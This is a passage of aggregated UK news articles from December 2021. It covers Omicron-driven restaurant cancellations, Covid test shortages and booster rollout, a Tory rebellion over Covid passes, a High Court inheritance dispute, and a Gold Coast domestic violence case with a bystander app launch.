first birthday, we are sad to see that our 2nd year is likely to be as turbulent as our first.' Eddie Elmas, at Olives N Meze, told MailOnline: 'We have had over 200 covers canceled in the last 6 days, mainly large Christmas bookings. 'We begin planning for Christmas in the summer, hours of marketing, menu creation and planning, all ruined in the seconds it takes our Government to make an announcement. 'Our staff have worked incredibly hard all year to build our restaurant back up, and now those efforts feel like they count for nothing. 'We need the Government to make a hard decision, one way or the other. Either tell people to stay home and give businesses support, or stop this gradual approach to a lockdown and let us continue to create a happy Christmas for our guests.' BBC Radio 5 Live presenter Nihal Arthanayake revealed he had to cancel a table amid the dramatic spread of the Omicron variant. He said: 'We had to cancel a table for eight because half of the people were in households where Covid was present. We were all gutted.' Meanwhile, Strictly Come Dancing's Ugo Monye offered to help out and said: 'Big love brother. Monday night if you have a reservation in London town I'll take it.' Made in Chelsea star Jamie Laing said: 'Tom sending you and everyone in the industry love and support over this period.' Great British Bake Off winner Candice Brown - who runs the Green Man pub in Eversholt, Beds - added: 'It's a f*****g nightmare. We've had at least 40 cancel today. I'm terrified for this and next week. Yet we are supposed to carry on.' Chef Raymond Blanc described the situation facing the restaurant industry as 'carnage'. He added: 'I know my dear friend, is the very same in Brasserie Blanc. It's carnage and we all hope that the Government will help the industry.' Mr Taylor, owner of the Mr Fox pub in Croydon, said it had 300 diners booked in for Friday - but 233 cancelled. Pictured, his other restaurant, the Adam & Eve in Northumberland Restaurant owner says he lost 50,000 in bookings in six days The owner of two UK restaurants said he has lost out on 50,000 in revenue because of cancellations in the last six days. Andy Taylor, owner of the Mr Fox pub in Croydon and the Adam and Eve in Northumberland, told MailOnline the Mr Fox had 300 diners booked in for Friday - but 233 cancelled. He added: 'The Croydon venue has seen 87 percent of parties cancelled due to low confidence. Andy Taylor, owner of the Mr Fox pub in Croydon and the Adam and Eve in Northumberland 'The impact on trade has been significant. We had 300 people booked in on Friday, we now have 67. 'It's hard for venues to plan if we don't know what's coming. At least allow us to plan so losses can be limited. I'm sure like others what is going to happen on New Year's Eve. People are not confidant. 'The impact is going to be big. Then we're into January, a traditionally quiet month for hospitality. We rely on a good festive season to get us through.' He said his two restaurants have has 1000 cancellations in six days. 'The impact is huge. I can't put an exact figure on it but we've lost around 50,000 as a business in the last six days through cancellations across both sites. This Friday is traditionally the busiest Friday in a year.' Advertisement Mask wearing in public places and Covid passes were voted in last night as part of Prime Minister Boris Johnson's Plan B measures, but pubs and restaurants can still operate as normal. Christmas is the most lucrative time of the year for pubs and restaurants, but trade body UK Hospitality forecasts that takings will be down as much as 40 per cent in parts of central London. Data it released from Monday to Sunday of last week showed a 13 per cent drop in trade and a 15 per cent increase in cancellations across the country when compared with pre-pandemic levels, the Guardian reported. The average restaurant only has enough cash to survive for 10 weeks in the event of another lockdown, according to recent data. Some 40 percent of UK restaurant owners feel it will take between two and 10 years to fully recover financially from the pandemic, ordering platform Flipdish found. A spokesman for Japanese restaurant Samsi in Manchester said: 'Christmas is a crucial time for the restaurant. 'We are still reeling from the pandemic and the best way to recover is capitalising on the opportunities around the festive period and serving as many customers as possible.' Rahul Sharma, Director at The Regency Club in London, said: 'We are up against it this year. Staff shortages have been severely impacting the business when we're open and the threat of closure from Omicron is hanging over us too. 'In fact, we had 194 cancellations in the first three days since the announcement of Omicron.' Mr Kerridge's latest Instagram post comes after he was ridiculed for selling a tiny Christmas turkey which he claims can feed eight people. His free-range Copas turkey breast roast will set you back a whopping 140, or 17.50 a head. But are only 12 slices on the piece of meat, making for just one-and-a-half slices for each dinner guest. Fans joked that it would only go around that number of guests if they were vegan or miniature people from The Borrowers. Another added that it looked so small, he could eat it himself. Kerridge is no stranger to controversy - he was forced to knock 100 off his eat from home Christmas packages after a backlash over the price last year. Three months ago he was blasted for his 12.50 steak cooking charge. Also in September, Kerridge was slammed for charging 87 for sirloin steak at his The Hand and Flowers boozer. One fan accused him of breaching data protection law in June when Kerridge shared CCTV footage picture from one of his restaurants, Butcher's Tap and Grill in Marlow, Berkshire, to show a customer leaving without paying his bill. In an Instagram post that has since been removed, he captioned the picture: 'People, this man did a runner from the Butcher's Tap and Grill last night without paying. 'If you know him, could you please let him know he owes me 28.50 and he's a massive bell**d.' The family and cleaning lady of an 'unbearable' millionairess are locked in a bitter court fight over her 1.3million fortune. Stepdaughter Anna St Clair, nephew Nick King and housemaid June Farrell are all battling for a share of eccentric widow Jean Lech's will. Mrs Lech had cut Ms St Clair out of the will when she died in 2012 and instead gave 10,000 to Ms Farrell, some to her children and the rest to Mr King. But Ms St Clair, 72, is claiming her stepmother was not of sound mind when she changed the document and wants it declared invalid. The counsellor cited an incident where the elderly woman threw a roast turkey through a plate glass window on Christmas Day after a minor row. Ms St Clair also claims Mrs Lech, who is her father's third wife, would steal her neighbours' cats and refuse to give them back. Stepdaughter Anna St Clair, nephew Nick King and housemaid June Farrell (pictured) are all battling for a share of eccentric widow Jean Lech's will The shunned stepdaughter had been the main beneficiary of her stepmother's will in 2007 but was left with nothing in a later one made in May 2009. The revised document left 10,000 to Ms Farrell as well as similar gifts to the cleaner's two children, and the rest to her nephew Mr King. This was despite the millionairess only recently establishing a connection with her relative before she died. Ms St Clair is claiming Ms Farrell 'poisoned' her stepmother's mind against her so she and Mr King could share her fortune. But Mr King and the cleaner deny all the claims and say Mrs Lech knew what she was doing when she changed the will. London's High Court heard she left behind her half of a 2.5million house in Streatham, in the south of the capital, when she died aged 79. She had co-owned the house with her husband Zbigniew Lech, Ms St Clair's father, who died aged 101 in 2008. He had left his half of the house to Ms St Clair and her daughter Carmen, with the stipulation his widow could continue to live there until she died. Mrs Lech had cut Ms St Clair out of the will when she died in 2012 and instead gave 10,000 to Ms Farrell, some to her children and the rest to Mr King (pictured) Ms St Clair told the court her stepmother was notoriously bad-tempered and she believes she had an antisocial personality disorder. She said this combined with her being ill when she made her last will should see it invalidated. She claimed she was not displaying 'the thinking style of a mature adult but rather that of a petulant child' and wouldn't 'pass the test for testamentary capacity. Ms St Clair told Judge Mark Cawson QC: 'One Christmas Day, she was, unusually, doing the washing up. 'My father made a comment about her wasting the hot water. She turned and threw the roast turkey through the nearest window, causing glass to splinter everywhere. 'There was no festive dinner that day. Jean was in the habit of luring neighbourhood cats away from their owners by giving them fresh fish. 'On one occasion, one neighbour came for a visit seeking his cat. In order to inject some good humour when it seemed as though the cat would not be returned, he said ''well you better watch out because I am a big bad lawyer''. 'Jean instantly retorted: 'And I'm a f***ing b**ch now get out'. The poor man never got his cat back.' On another occasion, Ms St Clair said: 'She screamed that I was poisoning her plants when I was in fact just watering them. She made egregious and insane allegations. 'She was quite pleasant when she wasn't drunk but when drunk became unbearable. My father put up with what very few husbands would be willing to put up with. 'She was a very damaged person but could also be great fun. She wasn't just awful,' Ms St Clair told the judge. 'I believe that if a psychiatrist was presented with evidence of the behaviour she displayed they would have no trouble diagnosing her with an antisocial personality disorder. 'Towards the end she was becoming more and more angry. The defence has categorised her as a sane and reasonable adult. 'She was not gaga, but could not be considered free of any disorder of the mind. She was suffering paranoid delusions. The disorder corrupted her sense of right.' Jean had also been 'bedridden, terminally ill and bereaved when she made the will,' her stepdaughter claimed. Ms St Clair is also bringing a claim of 'fraudulent calumny,' arguing cleaner Ms Farrell must have manipulated her stepmother into cutting her out of the will. 'She maligned me with the intent to replace me in the testator's affections,' she said, accusing Ms Farrell of a 'sustained campaign to malign and discredit me.' Mrs Lech and Ms Farrell had been overheard 'talking obsessively about my stepmother's estate and her will for hours and hours,' she claimed, accusing the cleaner of 'protracted scheming'. She told the judge: 'June was there for 23 years, watching and waiting for her opportunity.' She claimed Ms Farrell and Mr King were 'in a relationship' and had plotted together to inherit Jean's money. She went on: 'There was a close personal relationship between Ms Farrell and Mr King. London's High Court heard she left behind her half of a 2.5million house in Streatham (pictured), in the south of the capital, when she died aged 79 'It was Ms Farrell who brought Mr King to Jean's house on the two or three occasions that he visited her. 'The defendants had lunches together and on occasions sat closely whispering together. 'Mr King made promises of marriage to Ms Farrell, who accordingly expected to share in his good fortune under Jean's will.' Ms St Clair's final argument was Mrs Lech had promised a 'constructive trust' to her father before he died and said she would not revoke her original will. The 2007 document had left two thirds of her estate to her stepdaughter and a third to Ms St Clair's daughter Carmen. Ms St Clair claimed: 'She betrayed her promise not to revoke days after he died. 'Jean had no reason to change her mind voluntarily and cut the claimant and Carmen out of her will entirely. 'Jean had no close relatives or other persons with whom she enjoyed any close relationship and in favour of whom she ever displayed any wish to leave her estate or any part of it.' She added: 'In particular, Jean had no close connection with her nephew, Nicholas King.' But Kathryn Purkis, for Ms Farrell and Mr King, denied all the allegations and asked the judge to uphold the 2009 will. She told the judge it was 'a fiction' that there was 'a secret sexual relationship' between Ms Farrell and Mr King. An 'alternative hypothesis' was Jean wanted to make a new will having established contact with her nephew, and having fallen out so badly with Ms St Clair. In relation to the claim Ms St Clair's father and Jean had made mutual wills which created a constructive trust, she told the judge: 'The claimant needs to establish...(that) the agreement was of a kind that amounted to a contract in law'. It was also denied that Jean was mentally unfit to change her will. Ms St Clair, who now lives in Melbourne, Australia, is attending the hearing and representing herself via a videolink. The hearing continues. Public health chiefs and Royal Mail bosses have today announced plans to double the amount of lateral flow and PCR test deliveries in a bid to tackle the Covid test supply crisis. Just hours after Transport Secretary Grant Shapps blamed 'distribution issues' for millions of Britons being unable to order testing kits, the UK's Health Security Agency (UKHSA) announced it had struck a deal with the postal service to ramp up testing kit deliveries. The agency says it plans to increase capacity of home delivery of lateral flows and PCR tests to 900,000 a day after what it described as a 'week of unprecedented demand'. Pharmacies will also be able to access 10.5 million lateral flow tests per week, an increase of 5.5 million tests per week, while booking slots for PCR testing sites will also increase by up to 100,000 per day from tomorrow. It comes as Boris Johnson's testing system collapsed yesterday with no free NHS PCR tests available anywhere in England, while lateral flow tests were still out of stock online for the second day running for everyone in the UK. The Government's Plan B relies on rapid and regular testing to avoid mandatory quarantine But - with the Prime Minister set to update the country tonight on the situation with the Omicron variant - critics fear the crisis could lead to more restrictions or even a post-Christmas lockdown. Health and Social Care Secretary Sajid Javid today said he was 'delighted' with plans to upscale Covid test deliveries. He said: 'Our testing programme is the biggest in Europe and we know that demand for tests is growing further with the arrival of the Omicron variant. On the plans to upscale the number of tests available, Health and Social Care Secretary Sajid Javid said: 'Our testing programme is the biggest in Europe and we know that demand for tests is growing further with the arrival of the Omicron variant.' Just hours after Transport Secretary Grant Shapps blamed 'distribution issues' for millions of Britons being unable to order testing kits, the UK's Health Security Agency (UKHSA) announced it had struck a deal with Royal Mail (pictured: Library image) to ramp up testing kit deliveries Instead he said the issue had been getting the tests out to people. Mr Shapps said health chiefs were working with Royal Mail, Amazon and other delivery firms to get tests out to homes and pharmacies 'I'm delighted that Royal Mail is expanding our distribution service which will mean over 900,000 PCR and LFD test kits can be delivered to homes across the country every single day. 'It's vital we all play our part in the national effort to tackle Omicron by getting tested if we have symptoms and using LFDs daily if we're a close contact of a case.' It comes as Mr Shapps today blamed 'distribution issues' on the lack of lateral flow tests after delivery slots on the Government's website run out and pharmacies were told they couldn't have extra swabs. Mr Shapps claimed there are enough lateral flow tests to go around - despite the Government's own website yesterday saying there were 'no tests available to order for home delivery'. In an uncomfortable interview with Sky News, Grant Shapps claimed there are enough lateral flow tests to go around - despite the Government's own website saying there were 'no tests available to order for home delivery' But he said the issue had been getting the tests out to people. Mr Shapps said health chiefs were working with Royal Mail, Amazon and other delivery firms to get tests out to homes and pharmacies. NHS gives out record 611,000 jabs in a single day but still falls well short of Boris 1million-a-day target Britain's booster jab campaign is off to a storming start with a record 611,000 Covid jabs being given out in a single day yesterday. NHS chiefs say staff worked through a record high of 548,039 booster vaccines on Tuesday, alongside more than 60,000 first and second doses. The booster figure smashes the previous one-day record for vaccine top-ups of 483,361 - set on December 11. However the figure still falls well below Boris Johnson's one million doses-a-day target needed to tackle what he described as a 'tidal wave of Omicron'. NHS chiefs say staff are 'pulling out all the stops' to accelerate the vaccine programme. It comes as queues again formed before dawn outside vaccination centres this morning with all adults in England now being offered a Covid-19 booster from today after the NHS national booking system opened up to all over 18s. Some vaccination centres had to stop offering walk-in boosters yesterday amid limited supply, with a volunteer-led hub in Andover, Hampshire, saying it was only able to offer first and second Pfizer vaccine doses. In more good news, yesterday also saw more than 630,000 booster jabs booked through the online booking service - the highest number for any Tuesday on record. Of those, 150,000 booster bookings were made before 9am this morning. Advertisement Squirming as he answered a question from Sky New's Kay Burley, he said: 'Just on lateral flow tests, which actually, uniquely, in that as far as I can see there aren't other countries that have been supplying these free of charge to their citizens, major economies haven't generally been doing this, and we have in this country, you are right, particularly since the new measures, the booster programme, asking people to be testing, came in, it can be difficult at different times of day to get those. Mr Shapps went on to say: 'I did notice yesterday actually that at certain times of day you could get them, they are coming back in. 'There's plenty of supply in the country, what we are having issues with is the distribution route. 'And I know my colleagues at the health department are working with Amazon and Royal Mail and others to try and make sure that distribution gets out and still goes to pharmacies.' The new chaos came on the last day Britons can test positive for coronavirus and be out of quarantine for Christmas Day. Those testing positive today will now have to isolate on Christmas and New Year's Day. This morning the Government's website showed that both lateral PCR tests are now available to people in England. The UK Health Security Agency said yesterday that 1.6 million Covid tests were taken and 230,000 boxes of home testing kits sent out across England on Monday. Experts said the shortage of tests doesn't 'bode well' when Boris Johnson predicts a 'huge spike' of cases within days, piling even more pressure on the UK's testing system. UK Health Security Agency sources told the BBC the shortage 'was due to exceptionally high demand'. Downing Street yesterday insisted there is significant testing capacity despite suggestions of difficulties finding PCR tests. A spokesman said: 'Appointments for PCR tests are available, but high demand can lead to temporary reduced availability in some areas. More appointments are made available to book every afternoon. 'Testing is playing an integral role in keeping people safe and managing the virus and we're so grateful to everyone that's getting tested to protect themselves, their loved ones and their communities. Everyone with symptoms or who is directed to get a PCR test should continue to come forward to get a test delivered to their home or at a test site.' The NHS' website showed no PCR tests available in all of England yesterday. Tests returned this afternoon but are still in short supply The Prime Minister's official spokesman said: 'In terms of PCR availability, I don't have the latest but I would envisage further booking possibilities will come online later and, of course, there are in-person opportunities as well.' It came as millions of Britons told to use daily lateral flow tests to slow the spread of Omicron from today still can't get them online for the second day running with Amazon now brought in to bail out Royal Mail in the run up to Christmas. Greenwich Council's Labour leader Danny Thorpe, whose borough has one of the highest Omicron rates in the country, tweeted: 'Residents had issues getting a #LateralFlowTest & today it looks like no #PCR tests available? @sajidjavid - what on earth is going on? This really needs sorting today'. NHS staff working in hospitals, mental health properties, care homes and GP surgeries have also said they cannot get tests - stopping them doing their jobs - because they are also being told to use the same website as the public. The Prime Minister's official spokesman said: 'In terms of PCR availability, I don't have the latest but I would envisage further booking possibilities will come online later and, of course, there are in-person opportunities as well.' It came as millions of Britons told to use daily lateral flow tests to slow the spread of Omicron from today still can't get them online for the second day running with Amazon now brought in to bail out Royal Mail in the run up to Christmas. Greenwich Council's Labour leader Danny Thorpe, whose borough has one of the highest Omicron rates in the country, tweeted: 'Residents had issues getting a #LateralFlowTest & today it looks like no #PCR tests available? @sajidjavid - what on earth is going on? This really needs sorting today'. NHS staff working in hospitals, mental health properties, care homes and GP surgeries have also said they cannot get tests - stopping them doing their jobs - because they are also being told to use the same website as the public. Meanwhile, Health Secretary Sajid Javid told MPs that even if Omicron turned out to be less severe than the Delta variant, the fact it spreads so easily meant 'it still has the potential to overwhelm the NHS'. He told Ministers that modellers believe Omicron cases may already be running at '200,000 a day' and 'doubling every two to three days'. However, some experts have cast doubt on the figure, which is far higher than the official Covid total and which is based on disputed mathematical modelling. Downing Street insisted the projection was 'valid'. England's chief medical officer Professor Chris Whitty warned the Cabinet during an update yesterday that the new Omicron variant was spreading 'unbelievably fast'. Prof Whitty also warned Ministers that astronomical infection rates will spark staff shortages in pubs, restaurants and shops sparking concerns of a repeat of the so-called 'pingdemic' that led to the shutdown of whole swathes of the economy over the summer. He also said the wave would trigger a 'significant increase in hospitalisations'. Scary Government modelling predicted that hospital admissions could exceed levels seen during the January lockdown, when 4,000 infected patients were needing medical care every day. In response, NHS bosses yesterday ordered hospitals to discharge as many patients as possible off wards and into care homes. Prime Minister Boris Johnson told the Cabinet on Tuesday that a 'huge spike in Omicron is coming' and warned a 'huge spike' in the variant was coming. Public health officials warned that restrictions could last up to eight weeks. Omicron has become dominant in London, with the capital's Covid infection rate spiralling by 55 per cent in two weeks to 537 cases per 100,000 people the highest level since January, when stringent curbs were in place. Hospitalisations have risen by 50 per cent over the same period, from 90 to 140 admissions a day. Though deaths are currently flat, it can take up to a month for fatalities to start rising due to time it takes to fall seriously ill. However, the first major real-world study of the variant conducted in South Africa has found that Omicron is causing a third fewer hospital admissions than the Delta variant. The study also found that just two doses of the Pfizer vaccines provides 70 per cent protection against severe illness. Yesterday new restrictions were approved in Parliament on Tuesday evening, including the requirement to wear face coverings at more indoor spaces in England, and the introduction of NHS Covid passes for access to nightclubs and large venues. The children of a young woman allegedly doused in petrol and burnt to death by her estranged husband still ask for their mum almost every night, her grieving family has revealed. Mum-of-three Kelly Wilkinson's badly burnt body was found in the backyard of her home in Arundel on the Gold Coast on April 20. Her former partner, ex-US Marine Brian Earl Johnston, 35, was found two blocks away on a front lawn in a 'semiconscious state' and was later charged with her murder. Ms Wilkinson's three children, aged between two and nine, who were at home at the time of the alleged attack, moved in with her sister Danielle Carroll, who has five kids of her own. Eight months on, the children are still missing their mum as Ms Carroll and her husband opened up about their family heartache at the launch of a new domestic violence app. The three kids of Kelly Wilkinson (pictured) are still missing their beloved mum eight months after she was allegedly killed by their father Kelly Wilkinson (pictured) leaves behind her young children who repeatedly ask where she is 'You still get Kelly's three wanting their mum every second or third night, which is horrible for them, but everyone is moving forward pretty well,' Rhys Carroll said. The Be There smartphone app developed by Griffith University in partnership with Telstra and the Queensland government aims to help bystanders recognise domestic and family violence and to safely take action to support their friend or family member. Ms Wilkinson's sister issued an impassionate plea to those who have witnessed domestic violence of a loved one. 'Please speak up even if it doesn't work the first or second time,' Ms Carroll said. 'Just keep trying to help and let them know that you will be there for them when they're ready to leave.' Kelly's sister Danielle Carroll (second right) and brother-in-law Rhys (right) spoke at the launch of a new smartphone app designed to help recognise domestic violence Kelly Wilkinson (left) was allegedly doused in petrol and burnt to death by her estranged husband, former US Marine Brian Earl Johnston (right) Johnston, who was married to Ms Wilkinson for 10 years, spent the first weeks after the alleged murder in hospital recovering from severe burns before he was moved to a general prison, where he remains in custody. The app has tools to help users recognise different forms of abuse including coercive control. 'It's all about putting the power back into the hands of family, friends and neighbours (and) how to recognise the signs of a violent or controlling relationship,' Attorney-General Shannon Fentiman said. 'The community has been coming out in force, at rallies and vigils, declaring 'enough is enough'. This app will be aimed at these very people who are determined that they won't let this happen to their friends, family and loved ones. The family of Kelly Wilkinson (pictured at a community vigil a week after her death) urged those who have witnessed domestic violence of a loved one to speak up 'We're trying to make it easier for Queenslanders to identify what DFV is and be able to respond earlier and appropriately to what can usually be a complex and difficult situation.' The app will also refer users to resources and services. 'It will also work as a guide to help a bystander to do simple appropriate things like check in with their friend, offer their support now or whenever they need it,' Ms Fentiman said. 'Because we know that even the smallest gestures or actions can be powerful. 'And because we know life gets in the way, for even the most motivated friend, the app will nudge the user with suggested simple and safe actions they could take and help guide the conversation they might have.' The badly burnt body of Kelly Wilkinson (pictured) badly was found in the backyard of her Gold Coast home in April The launch of the app comes two weeks after the release of a landmark report examining domestic violence in Queensland by the state's Women's Safety and Justice Taskforce. Among its 89 recommendations were the staged introduction of coercive control as an offence and a fresh inquiry into Queensland Police culture. The Queensland government is working through the report recommendations and will hand down its response in early 2022. The app is available in the Apple and Android stores. 1800 RESPECT (1800 737 732) Danielle (second left) and Rhys Carroll (second right) bravely opened up about their family heartache at the launch of the Be There app Advertisement Britons across the country today revealed their disappointment at having to spend Christmas Day in isolation this year after testing positive for Covid-19, meaning they must stay at home for the next ten days. People tweeted pictures of positive lateral flow tests and said they were 'feeling sorry for myself' and 'Merry Xmas to me', amid claims more than 1million people are likely to be isolating with Covid on their own on December 25. According to official estimates, the speed at which the Omicron variant is spreading means that four times more people are likely to be isolating with Covid this Christmas than last December 25, when household mixing was banned across much of the country and a third national shutdown was imminent. Anyone becoming ill from today onwards will still be in the required ten-day isolation period on Christmas Day. Yesterday there were more than 4,700 confirmed Omicron cases, and Ministers claim the number is doubling every two days. At this rate, almost 100,000 people will be confirmed with Omicron on Christmas Eve, and around 1million will be isolating the next day. Health Secretary Sajid Javid told MPs that even if Omicron turned out to be less severe than the Delta variant, the fact it spreads so easily meant 'it still has the potential to overwhelm the NHS'. He told Ministers that modellers believe Omicron cases may already be running at '200,000 a day' and 'doubling every two to three days'. However, some experts have cast doubt on the figure, which is far higher than the official Covid total and which is based on disputed mathematical modelling. Downing Street insisted the projection was 'valid'. England's chief medical officer Professor Chris Whitty warned the Cabinet during an update yesterday that the new Omicron variant was spreading 'unbelievably fast'. Prof Whitty also warned Ministers that astronomical infection rates will spark staff shortages in pubs, restaurants and shops sparking concerns of a repeat of the so-called 'pingdemic' that led to the shutdown of whole swathes of the economy over the summer. He also said the wave would trigger a 'significant increase in hospitalisations'. Scary Government modelling predicted that hospital admissions could exceed levels seen during the January lockdown, when 4,000 infected patients were needing medical care every day. In response, NHS bosses yesterday ordered hospitals to discharge as many patients as possible off wards and into care homes. Prime Minister Boris Johnson told the Cabinet on Tuesday that a 'huge spike in Omicron is coming' and warned a 'huge spike' in the variant was coming. Public health officials warned that restrictions could last up to eight weeks. Omicron has become dominant in London, with the capital's Covid infection rate spiralling by 55 per cent in two weeks to 537 cases per 100,000 people the highest level since January, when stringent curbs were in place. Hospitalisations have risen by 50 per cent over the same period, from 90 to 140 admissions a day. Though deaths are currently flat, it can take up to a month for fatalities to start rising due to time it takes to fall seriously ill. However, the first major real-world study of the variant conducted in South Africa has found that Omicron is causing a third fewer hospital admissions than the Delta variant. The study also found that just two doses of the Pfizer vaccines provides 70 per cent protection against severe illness. It came as new restrictions were approved in Parliament on Tuesday evening, including the requirement to wear face coverings at more indoor spaces in England, and the introduction of NHS Covid passes for access to nightclubs and large venues. England's chief medical officer Professor Chris Whitty warned the Cabinet during an update on Tuesday that the new Covid variant was spreading 'unbelievably fast' BRISTOL: People desperate to get a booster jab before Christmas queued up in a snaking line over a car park. Many are facing up to three hour waits to get their top-up doses Fears of fresh Omicron restrictions within DAYS: MPs could be forced to work through Christmas to approve new lockdown rules if Plan B fails to halt cases surging at year-high '200,000 a DAY' - as Chris Whitty warns pubs and restaurants may have to SHUT Fresh Covid restrictions could be imposed within days as Ministers put plans in place to recall Parliament during Christmas if cases of the Omicron variant hit 1million a day by the New Year. MPs could be forced to approve new lockdown rules for January if the Government's Plan B fails to stop a 'tidal wave' of Omicron cases 'overwhelming' the NHS. Prime Minister Boris Johnson told the Cabinet during a Covid update on Tuesday that a 'huge spike in Omicron is coming', while England's chief medical officer Professor Chris Whitty warned that Britain was facing a 'significant increase in hospitalisations'. NHS bosses ordered hospitals to discharge as many patients as possible off wards and into care homes and even hotels after 'doomsday' Government modelling warned that admissions could exceed levels seen during the second wave last January, when 4,000 infected patients were needing medical care every day. Health Secretary Sajid Javid told MPs that even if Omicron turned out to be less severe than the Delta variant, the fact it spreads so easily meant 'it still has the potential to overwhelm the NHS'. He told Ministers that modellers believe Omicron cases may already be running at '200,000 a day' and 'doubling every two to three days'. However, some experts have cast doubt on the figure, which is far higher than the official Covid total and which is based on disputed mathematical modelling. Downing Street insisted the projection was 'valid'. Prof Whitty also warned the Cabinet that astronomical infection rates will spark staff shortages in pubs, restaurants and shops sparking concerns of a repeat of the so-called 'pingdemic' that led to the shutdown of whole swathes of the economy over the summer. Former Tory chief whip and leading rebel Mark Harper said Mr Johnson should recall Parliament if there are moves to reimpose curbs. Advertisement With almost 100 Conservative MPs voting against the mandatory passes measure, Mr Johnson suffered the largest rebellion of his premiership in the Commons and his authority has come under question. But the majority backing for the new rules was welcomed by NHS Providers chief executive Chris Hopson, who said they 'should help slow the spread of the virus and help ease pressure on the NHS as we head into what is set is to be our most difficult ever winter'. Earlier, the Prime Minister had thanked NHS workers for their 'incredible efforts' and called for their help in delivering the 'biggest, fastest vaccination drive this country has ever seen'. In the letter, published on Twitter, Mr Johnson acknowledged that while healthcare staff are 'tired and weary', they know 'how critical it is that we get Britain boosted, and fast'. In an advert which aired on ITV on Tuesday evening, England's chief medical officer Professor Chris Whitty said every adult 'needs' to get a booster jab in the face of the 'highly infectious' variant. He told viewers: 'Boosters give you the best possible protection against the virus and should significantly reduce your risk of serious illness and hospitalisation.' The NHS national booking system opened up to all over 18s on Wednesday, and while people are eligible for a booster three months after their second vaccine they can book after two months. It marks the NHS meeting its objective to offer every eligible adult a chance to book a booster before the New Year. The World Health Organisation's director-general Dr Tedros Adhanom Ghebreyesus warned people they underestimate coronavirus at their peril, as he voiced concerns the Omicron variant is being dismissed by some as 'mild'. In Scotland, people have been urged to limit their mixing by socialising with only up to two other households indoors either side of Christmas. Meanwhile in Northern Ireland, politicians also backed mandatory Covid certification regulations for patrons wishing to access nightclubs, pubs, restaurants and other licensed premises. In Wales, the public was told to prepare for more restrictions in the coming weeks, but the nation's health minister insisted politicians do not want to 'cancel Christmas'. From 4am on Wednesday, hotel quarantine for travellers arriving in England is abandoned, with all 11 countries on the red list removed because the spread of Omicron in the UK was deemed to mean the measure to prevent cases being imported was less effective. Other measures under the Government's Plan B also cleared the Commons, including to drop the requirement to isolate and instead do daily Covid tests for those fully vaccinated people who are contacts of a positive Covid case. MPs also approved mandatory vaccinations for NHS and social care staff by April 2022 and the requirement to wear face coverings to more indoor spaces in England - including museums and galleries. Some 369 MPs backed the move to introduce Covid passes - which have also been known as vaccine passports - in large venues, giving a majority of 243. But the division list showed 96 Conservative MPs voted against. Two Tory MPs also acted as tellers for the noes. Eight Labour MPs, 10 Liberal Democrats, six DUP, Green Party MP Caroline Lucas and Independent MPs Jeremy Corbyn and Rob Roberts also opposed the regulations, according to the list. The measures will mean people will have to prove that they are either fully vaccinated or have had a recent negative coronavirus test before they can go to nightclubs and large venues. Before Tuesday, the biggest rebellion Mr Johnson had faced was in December 2020, against the strengthening of Covid-19 tier restrictions in England. Then, a total of 55 Conservative MPs voted against the Government. This includes the two MPs who acted as tellers for the noes. The list of those who voted against included the newest Tory MP Louie French, who was elected in the Old Bexley and Sidcup by-election and has been in the Commons for less than two weeks. Labour leader Sir Keir Starmer said it was a 'very significant blow to the already damaged authority of the Prime Minister' who he said was now 'too weak to discharge the basic functions of Government'. He stopped short of explicitly calling for Mr Johnson to resign, but said: 'The Prime Minister needs to take a long, hard look at himself and ask himself whether he has the authority to take this country through the pandemic.' 'Boris is in danger': Senior Tory MP Sir Geoffrey Clifton-Brown warns Prime Minister will face a leadership challenge next year unless he stabilises his premiership after HUGE revolt over Covid passes A senior Tory MP has warned Boris Johnson he will face a leadership challenge next year unless the Prime Minister stabilises his premiership after he suffered a huge revolt over Covid passes. The House of Commons voted by 369 to 126 in favour of Mr Johnson's plan to make the documents mandatory for nightclubs and other large venues in England. But 98 Conservative MPs rebelled to vote against the measure, inflicting a hammer blow on Mr Johnson's authority. Sir Geoffrey Clifton-Brown, the treasurer of the 1922 Committee of Tory MPs, said this evening that the vote showed there is a 'major division' within the Conservative Party and 'we all know what happens to disunited parties'. Sir Geoffrey said there must be a 'major change' in the way Mr Johnson leads the Government, as the backbencher said the PM 'has got to now be in some danger and he has got to realise that'. The MP said that unless Mr Johnson gets his leadership back on track then 'some members of the party will be thinking to themselves we have got to have a change' with a leadership contest 'on the cards' next year. Advertisement He added: 'I think it's very important to understand how deep the breach of trust is between the Prime Minister and his own party.' Shadow health secretary Wes Streeting said that Mr Johnson's authority was 'shattered'. He told Sky News: 'That is an extraordinary, extraordinary rebellion. The Government has lost its majority. I think the size of that vote is a reflection of the shattered authority of Boris Johnson. 'He is undermining public health at a critical moment for our country. I think he has got to ask himself if he is the right man to lead our country through the next phase of the pandemic.' Sir Charles Walker, the vice-chairman of the backbench 1922 Committee, said the rebellion by Tory MPs over Covid passes was a 'cry of pain' by the party. He told BBC News: 'This was just a bridge too far. I think they were putting a marker down. It was a cry of pain from the Conservative Party. He (Boris Johnson) is in a very, very, very difficult position. There has been a strong view in within the Conservative Party that vaccine passports do not work and is not something many colleagues wanted to see introduced. This is a very, very specific line being drawn in the sand now and I think the Prime Minister and his team need to listen.' But there are concerns among senior government figures that the Conservative Party increasingly looks divorced from public opinion, which has been in favour of Covid restrictions throughout the pandemic. 'Tory MPs and activists are a lot more libertarian than the public. There is a problem,' one aide told MailOnline. The new measures approved in Parliament have been welcomed by NHS Providers chief executive Chris Hopson. He said: 'These new restrictions should help slow the spread of the virus and help ease pressure on the NHS as we head into what is set is to be our most difficult ever winter.' On face coverings, he said the requirement in more indoors settings is a 'small price to pay as we seek to curb the spread of Covid-19'. He added: 'MPs also voted today to make Covid-19 vaccinations mandatory for frontline health and care staff from April onwards to protect colleagues, patients and visitors from coronavirus. 'While there are inherent risks in introducing mandatory vaccinations, trusts are redoubling their efforts to increase voluntary take up efforts within their teams, having individual discussions with hesitant staff, and rolling out initiatives, such as education campaigns, to drive up vaccination rates.' Whitehall officials have drawn up proposals to limit the number of people allowed in pubs and restaurants, according to The Sun. There are also contingency plans to bring back furlough and support for businesses if tougher restrictions are needed. However, the options are causing alarm inside the PM's top team as well, with Jacob Rees-Mogg insisting on his regular podcast that the country must 'learn to live' with coronavirus. Earlier, Mr Johnson had addressed the 1922 Committee to try and convince them to back his plans. And he had been individually speaking to those who had publicly said they would oppose the measure earlier in the day. Meanwhile, in a letter to healthcare providers published late last night, NHS England said all patients in hospital beds should be discharged now if it is 'safe' to do so to make room for Omicron patients. Nurses are being flown in from Spain and Greece to offer temporary assistance at hotels that are being converted into care sites over Christmas to help deal with the oncoming crisis, it was also revealed. But the NHS guidance did not stipulate how exactly patients would be deemed 'medically fit' 